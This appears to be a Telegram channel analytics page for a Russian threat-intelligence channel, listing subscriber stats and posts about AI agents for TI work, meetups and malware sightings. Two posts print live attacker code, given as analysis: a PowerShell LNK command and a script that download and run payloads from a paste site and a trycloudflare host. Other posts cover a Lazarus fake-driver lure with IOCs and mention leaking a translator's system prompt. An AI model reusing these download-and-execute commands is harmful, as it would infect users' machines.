Secure Lemur
前往频道在 Telegram
Threat Intelligence,Threat Hunting, Информационная безопасность и прочее полезное. Все исключительно в познавательных целях. Daily scam alerts ⚠️: @tinyscope Чат для обсуждений: @threat_chat
显示更多2 504
订阅者
-224 小时
+27 天
+3630 天
数据加载中...
吸引订阅者
八月 '26
八月 '26
+82
在1个频道中
七月 '26
+88
在0个频道中
Get PRO
六月 '26
+95
在0个频道中
Get PRO
五月 '26
+76
在0个频道中
Get PRO
四月 '26
+66
在0个频道中
Get PRO
三月 '26
+124
在0个频道中
Get PRO
二月 '26
+102
在0个频道中
Get PRO
一月 '26
+112
在0个频道中
Get PRO
十二月 '25
+116
在4个频道中
Get PRO
十一月 '25
+99
在0个频道中
Get PRO
十月 '25
+79
在1个频道中
Get PRO
九月 '25
+90
在0个频道中
Get PRO
八月 '25
+129
在1个频道中
Get PRO
七月 '25
+133
在1个频道中
Get PRO
六月 '25
+85
在0个频道中
Get PRO
五月 '25
+101
在3个频道中
Get PRO
四月 '25
+88
在0个频道中
Get PRO
三月 '25
+102
在1个频道中
Get PRO
二月 '25
+83
在0个频道中
Get PRO
一月 '25
+111
在0个频道中
Get PRO
十二月 '24
+166
在1个频道中
Get PRO
十一月 '24
+264
在0个频道中
Get PRO
十月 '24
+92
在1个频道中
Get PRO
九月 '24
+99
在3个频道中
Get PRO
八月 '24
+94
在3个频道中
Get PRO
七月 '24
+77
在1个频道中
Get PRO
六月 '24
+89
在1个频道中
Get PRO
五月 '24
+79
在2个频道中
Get PRO
四月 '24
+116
在0个频道中
Get PRO
三月 '24
+92
在0个频道中
Get PRO
二月 '24
+98
在1个频道中
Get PRO
一月 '24
+108
在2个频道中
Get PRO
十二月 '23
+286
在2个频道中
Get PRO
十一月 '230
在0个频道中
Get PRO
十月 '230
在0个频道中
Get PRO
九月 '23
+673
在0个频道中
| 日期 | 订阅者增长 | 提及 | 频道 | |
| 28 八月 | 0 | |||
| 27 八月 | +2 | |||
| 26 八月 | +1 | |||
| 25 八月 | 0 | |||
| 24 八月 | +4 | |||
| 23 八月 | +6 | |||
| 22 八月 | 0 | |||
| 21 八月 | +4 | |||
| 20 八月 | +6 | |||
| 19 八月 | +2 | |||
| 18 八月 | +1 | |||
| 17 八月 | +2 | |||
| 16 八月 | +3 | |||
| 15 八月 | +4 | |||
| 14 八月 | +3 | |||
| 13 八月 | +6 | |||
| 12 八月 | 0 | |||
| 11 八月 | +1 | |||
| 10 八月 | +5 | |||
| 09 八月 | +1 | |||
| 08 八月 | +2 | |||
| 07 八月 | +7 | |||
| 06 八月 | +4 | |||
| 05 八月 | +3 | |||
| 04 八月 | +1 | |||
| 03 八月 | +3 | |||
| 02 八月 | +4 | |||
| 01 八月 | +7 |
频道帖子
| 2 | Напоминаю про лайфхак с ученической почтой ✍🏼 | 562 |
| 3 |  Shodan снова раздает пожизненный membership за 5$. Еще успеваешь 📈
❤@seclemur |❤ @threat_chat | 634 |
| 4 |  Как говорится - любой уважающий себя AI-TI энтузиаст начинает парсить новости и статьи.
Вот и я поигрался с промптами и Hermes и карманную TI платформу в Obsidian. Скормил ему побольше разных TI блогов вендоров, описал что и в каком формате хочу получать: так чтобы между страницами хранилища obsidian была перелинковка сущностей в случае если они связаны. С таким же успехом можно просить его делать другие аутпуты, например, STIX и грузить в нужные системы (OpenCTI).
Промежуточный итог на видео. Особой практической пользы для меня в этом нет, но поиграться было интересно.
Затраты:
1 час времени
15$ на написание скиллов + ~10$ на сам парсинг текста
и оставил где-то на 10 дней собирать из RSS репорты какие сможет отловить.
Модели:
deepseek-v4-pro для общения с агентом и написания скиллов
deepseek-v4-flash для обработки текста статей (подешевле чтоб было)
❤@seclemur |❤ @threat_chat | 377 |
| 5 | Пссс, тут вакансия открыта:
https://hh.ru/vacancy/133732099
Поиск Threat Intelligence аналитика с большим желанием искать и изучать новые киберугрозы. Важен опыт именно изучения и поиск чего-то нового и неизвестного. Различные пет-проекты для превентивного хантинга сэмплов, сетевой инфраструктуры приветствуется и в почете - если таковой опыт имеется обязательно упомяни в сопроводительном письме. Если ты младший, но считаешь что можешь удивить, то тоже не стесняйся откликаться. | 692 |
| 6 | Пока промежуточный итоги такие:
1) AI агенты как таковые - это топ, концепция очень нравится.
2) OpenClaw невозможно лагающее создание. Админить его тяжело, пришлось сносить
3) Спасибо @poxek за рекомендацию в чате. Поставил hermes - работает на порядки стабильнее. Но, наверное, следующий этап это написание своего агента.
продолжаю тестировать, докручиваем с агентом скиллы, надеюсь получится кое-что интересное.
❤@seclemur |❤ @threat_chat | 391 |
| 7 | Я буду, приходите тоже :) | 522 |
| 8 |  Всем привет 👋.
Инсека и Технологии киберугроз приглашают вас на CTI meetup #5.
🍻 обсуждаем рабочие моменты, делимся опытом
📆 23 мая, 14:00-20:00
📍 Место: Лофт «Москва» по адресу Москва, Берсеневская набережная, 6с3
Программа CTI meetup #5:
Сбор гостей 13:30-14:00
Начало выступлений 14:00
1. Threat Hunting в опенсорсе: злоумышленники используют ИИ, мы тоже, но есть нюанс
Раковский Станислав (руководитель группы Supply Chain Security в Positive Technologies)
2. Хватит «приручать фиды»: что реально работает в телекоме
Елютин Павел (руководитель направления анализа киберугроз, Билайн)
Снежков Александр (эксперт по анализу киберугроз, Билайн)
3. Докладчик уточняется
🍻 Кофе-брейк 15:30-16:00
4. Практический CTI 2.0: добро пожаловать в Cyberpunk. Ну почти.
Мешков Андрей (независимый эксперт)
5. Квиз
✌️17:00-20:00 С вас общение, с нас пиво.
Мы рады будем видеть всех желающих, но к сожалению, количество мест ограничено размерами помещения.
👉🏼 Зарегистрироваться | 475 |
| 9 |  Сделал скилл который по плану будет детектить малварные C2 на потоке. Если будет адекватно работать, то сделаю отдельный канальчик с фидами как раньше было в @tinyscope.
Обзаведусь недостающими ключами к search engines и поставлю на поток. Сейчас решил добавить Shodan, FOFA, Zoomeye, Netlas. Какие еще предложения ?
+ может кто поделится готовыми рулями к таким поисковикам, буду рад перенять вашу опыт и мудрость.
Из полезного знаю такие ресурсы - ссылка1 ссылка2 | 446 |
| 10 |  Следом другая статья, но тоже про агентов и безопасность. Это исследование про беспрерывную деанонимизацию пользователей с помощью LLM. То, что раньше требовало часов ручной работы OSINT-аналитика, теперь можно автоматизировать и поставить на поток😐
Ресерчеры рассказывают как они с помощью агентов и инструментов для них построили целый пайплайн по деанону пользователей:
1️⃣ Extract – из постов в социальных сетях пользователя модель вытаскивает сырые факты: город, работа, образование, хобби, события.
2️⃣ Search – LLM генерирует поисковые запросы на основе собранных данных и ищет похожих кандидатов в интернете.
3️⃣ Reason – сопоставляет найденные профили с извлечёнными фактами семантически.
4️⃣ Calibrate – оценивает уверенность и отбрасывает слабые совпадения.
LLM одновременно анализирует, ищет и сопоставляет информацию. Это позволяет автоматизировать деанонимизацию и работать в масштабе, что раньше делал только человек. Как-будто бы анонимность закончилась на некоторое время. Теперь если ты хочешь быть анонимным в интернете придется делать poisoning своих данных и использовать прочие уязвимости/слабости чтобы испортить LLM работу.
❤@seclemur |❤ @threat_chat | 508 |
| 11 |  Теперь вы будете встречать меня на VT чаще. Я теперь нейрослоп 💃
А я всего лишь попросил его научиться отправлять комменты к индикаторам на VT, если в статье он находит какие-то IoC. | 423 |
| 12 |  +1Наконец приступил к тестированию нашумевшего OpenClaw. С горем пополам,но развернул у себя его на домашней машине для тестов 😂 Сходу испытал детский восторг - штука невероятно адаптивная и очень гибкая. Выше скриншоты буквально сразу после первоначальной настройки. А сколько еще всего впереди.
Безусловно прежде чем запускать его проштудировал кучу постов в твиттере на тему того как он все удаляет и ломает. Морально к этому готов🤩
Основная гипотеза для проверки - можно ли с околонулевыми знанями в AI агентах сделать из него полноценного TI-аналитика-помощника, способного анализировать отчеты и делать расследования на потоке. А можем в ходе изучения появятся дополнительные мысли.
На старте план такой:
Скинул в него IoC -> он пробежался по всем источникам что у него есть и собрал отчет по нему, а также дал какие-то рекомендации.
Спойлер - научить его этому дело 5 минут. И ноль строчек кода самостоятельно написанных.
Интересна ли эта тема, нужно ли освещать ее чаще?
В целом, если были какие-то интересные идеи как использовать агента, но у тебя не доходили руки разобраться/протеститровать, то можно писать их в комменты, а я попробую это реализовать 👇
❤@seclemur |❤ @threat_chat | 447 |
| 13 |  Не совсем тематика этого канала, но тоже важно подстветить.
В прошлый раз затронулась тема про то как разгрузить голову. В этот раз я тоже не с пустыми руками.
Нашел исследование которое точно объясняет, почему рабочий день часто ощущается как «работал, но ничего не сделал». Суть статьи в том что продуктивность зависит не от силы воли, а от трёх вещей: как часто тебя отвлекают, сколько времени уходит на возвращение в задачу и какой минимальный непрерывный отрезок нужен, чтобы вообще получить результат.
Каждый раз, когда отвлекаешься (например, проверка соцсетей или ответ на сообщение в чате), мозгу нужно время, чтобы вернуться в рабочий ритм. Исследования автора показывают, что на восстановление фокуса может уходить до 23 минут.
С помощью математических формул автор посчитал, каковы шансы в 100 рабочих днях найти три цельных 60-минутных отрезка:
• если отвлекаться 1 раз в час — 70%,
• если прерываться 2 раза в час, вероятность сокращается в 5 раз.
Самый забавный вывод - при частых прерываниях (например, каждые 3–5 минут) глубокая работа становится математически почти невозможной (!). А теперь вспомни как часто сыпятся уведомления или когда случайно открываешь телеграм и видишь непрочитанный пост в канале что не читал уже два года.
Замьютил несколько месяцев назад все чаты и приложения - стал более концентрированным и спокойным😋
Нет у тебя модного СДВГ, это просто обстоятельства в которых мы все живем.
Исследование
Другая полезная статья на русском
❤@seclemur |❤ @threat_chat | 496 |
| 14 |  Иногда приходится и такие атаки изучать (видео 👆😁)
LNK файл с командой, которая качала видео пару недель назад:
-c "$b=(irm https://pastes.io/raw/aaaaigz0ex);[IO.File]::WriteAllBytes(\"$env:TEMP\v.mp4\",[Convert]::FromBase64String($b));start $env:TEMP\v.mp4"
Но забавно что сейчас на этом пастбине висит другой скрипт:
if (!(Test-Path "$env:LOCALAPPDATA\Discord\*\Discord.exe") -and !(Get-PSDrive -PSProvider FileSystem | ForEach-Object { Get-ChildItem -Path $_.Root -Filter "Discord.exe" -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1 })) { exit }
Invoke-WebRequest -OutFile $env:AppData\RuntimeBroker.exe -Uri https://enjoyed-hop-definitions-tee.trycloudflare.com/64.exe
start $env:AppData\RuntimeBroker.exe
Интересно что это за аудитория, которую таргетят путем поиска дискорда на машине. Вероятно та же аудитория, что и писала этот скрипт😂 Пейлоад, увы, уже не доступен.
VirusTotal
❤@seclemur |❤ @threat_chat | 504 |
| 15 |  Ультимативный гайд по организации инфраструктуры для пентестов - тык
Много интересных мыслей есть и для исследователей угроз. Но глава о CDN Relays особенно понравилась. Недавно натыкался на несколько примеров реальных атак, где злоумышленники использовали инфраструктуру Microsoft Azure в качестве командного центра. Главного загвоздка этой техники заключается в том, что домены от облачных сервисов микромягких чаще всего от греха подальше в вайтлистах и теряются в огромном потоке телеметрии, которую отправляет Windows на свои сервера. Попробуйте запустить машину хотя бы в том же самом Any.Run и посмотрите на количество улетевших данных просто потому что система запустилась😂 Тем самым всего за пару баксов аренды пэнтестеры прячут свое сетевое взаимодействие в легитимном трафике.
Ниже список доменов облачных сервисов Azure, за трафиком в сторону которых стоит присматривать бдительнее:
*.accesscontrol.windows.net
*.graph.windows.net
*.onmicrosoft.com
*.azure-api.net
*.biztalk.windows.net
*.blob.core.windows.net
*.cloudapp.net
*.cloudapp.azure.com
*.azurecr.io
*.azurecontainer.io
*.vo.msecnd.net
*.cosmos.azure.com
*.documents.azure.com
*.file.core.windows.net
*.azurefd.net
*.vault.azure.net
*.azmk8s.io
*.management.core.windows.net
*.origin.mediaservices.windows.net
*.azure-mobile.net
*.queue.core.windows.net
*.servicebus.windows.net
*.database.windows.net
*.azureedge.net
*.table.core.windows.net
*.trafficmanager.net
*.azurewebsites.net
*.visualstudio.com
❤@seclemur |❤ @threat_chat | 701 |
| 16 |  +2Попалась очередная атака от Lazarus.
Сайт для прохождения собеседований. В данном случае на позицию маркетолога. После прохождения опроса из нескольких задач для успешного видеозвонка просит обновить драйвера, открыв командную строку и вставив нужную команду. Все бы ничего, да только в буфер обмена приходит немного расширенная команда, скачивающая полезную нагрузку
😂 Забавный момент:
для симуляции установки драйверов запускается vbs скрипт с таким содержанием:
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objShell.Run "cmd /c title NVIDIA Display Driver Update Utility", 0, False
objShell.Run "cmd /c color 0A", 0, False
objShell.Run "cmd /c cls", 0, False
WScript.Echo ""
WScript.Echo "================================================"
WScript.Echo " NVIDIA Display Driver Update Utility"
WScript.Echo "================================================"
WScript.Echo ""
WScript.Echo "[INFO] Scanning for compatible hardware..."
WScript.Sleep 333
WScript.Echo "[INFO] Detected: NVIDIA GeForce Graphics Adapter"
WScript.Sleep 1167
WScript.Echo "[INFO] Current driver version: 536.99"
WScript.Sleep 500
WScript.Echo "[INFO] Available driver version: 581.80 (WHQL)"
WScript.Echo ""
WScript.Sleep 400
WScript.Echo "[STEP 1/5] Preparing driver installation..."
WScript.Sleep 2330
WScript.Echo " Status: Checking system compatibility"
Call AnimateDots(3, 50, 150)
WScript.Echo " OK"
WScript.Sleep 667
WScript.Echo " Status: Verifying disk space"
Call AnimateDots(3, 80, 200)
WScript.Echo " OK (2.1 GB required)"
WScript.Sleep 167
WScript.Echo " Status: Creating system restore point"
Call AnimateDots(4, 50, 150)
WScript.Echo " OK"
WScript.Sleep 67
WScript.Echo " Status: Preparation completed"
WScript.Echo ""
WScript.Sleep 67
Почитать про подобные киллчейны от этой группировки и их деанон можно тут - ссылка
IOCs:
breezyhr[.us
api.bitken[.cloud
93.127.215[.188
187.77.220[.50
❤@tinyscope | ❤@seclemur |❤ @threat_chat | 616 |
| 17 |  Системный промпт он тоже отдает без проблем 😁
оставил в комментариях посмотреть 👇🏼 | 460 |
| 18 |  У OpenAI появился ИИ-переводчик - https://chatgpt.com/translate/.
Пока что ломается от любого простого обхода системного промпта 😁
Как думаете, намеренно?
❤@tinyscope | ❤@seclemur |❤ @threat_chat | 459 |
| 19 |  Размышлений пост
2025 для меня, как думаю и для многих , стал годом интеграции различных форматом ИИшек в жизнь и рабочие процессы.
За предыдущий год я перепробовал ИИ для кучи разных задач - искал информацию, делал отчеты, автоматизировал работу, просил дать лучший рецепт говяжьих крылышек. Но самым ломающим все мои шаблоны оказался вайб-кодинг.
Всего за 20 баксов ты получаешь себе инструмент, который позволяет реализовать тебе прототип любой идеи буквально за день. Реально любой идеи. Все что тебе нужно для этого - продолжать структурировать свои мысли и последовательно просить его делать то что тебе нужно. На выходе у тебя неидеальный, непродовый, но работающий продукт, который позволит тебе протестировать твою гипотезу или идею.
За 2025 год я сделал много разных пет проектов с помощью ИИ. Например, создал полностью фронтенд, не написав не единой строчки кода на JS. И это работало.
Есть и минусы. Не говорю о том что все надо перепроверять, галлюцинации и прочее, это всем уже ясно. Я заметил вот что - МЛные инструменты позволяют решать гораздо больше задач в единицу времени. Но как следствие это влечет за собой не сокращение труда и отдых на пляже, а наоборот увеличение количества задач, которые приходится решать. Такой вот парадокс. Хорошо это или плохо увидим в будущем.
Это я все к чему. Если в 2026 вы не планируете использовать ИИ в своей работе, то будете человеком, кто пашет поле с помощью плуга и лошади, когда соседи уже используют трактор.
❤@tinyscope | ❤@seclemur |❤ @threat_chat | 473 |
| 20 | Наткнулся на статью как оптимизировать свои дела и разгрузить голову.
Главный посыл - в голове есть оперативная память и ее нужно переодически чистить, чтобы было место для обработки новой информации. Вроде бы очевидные вещи, но работают очень эффективно.
https://habr.com/ru/articles/972958/
❤@tinyscope | ❤@seclemur |❤ @threat_chat | 4 056 |
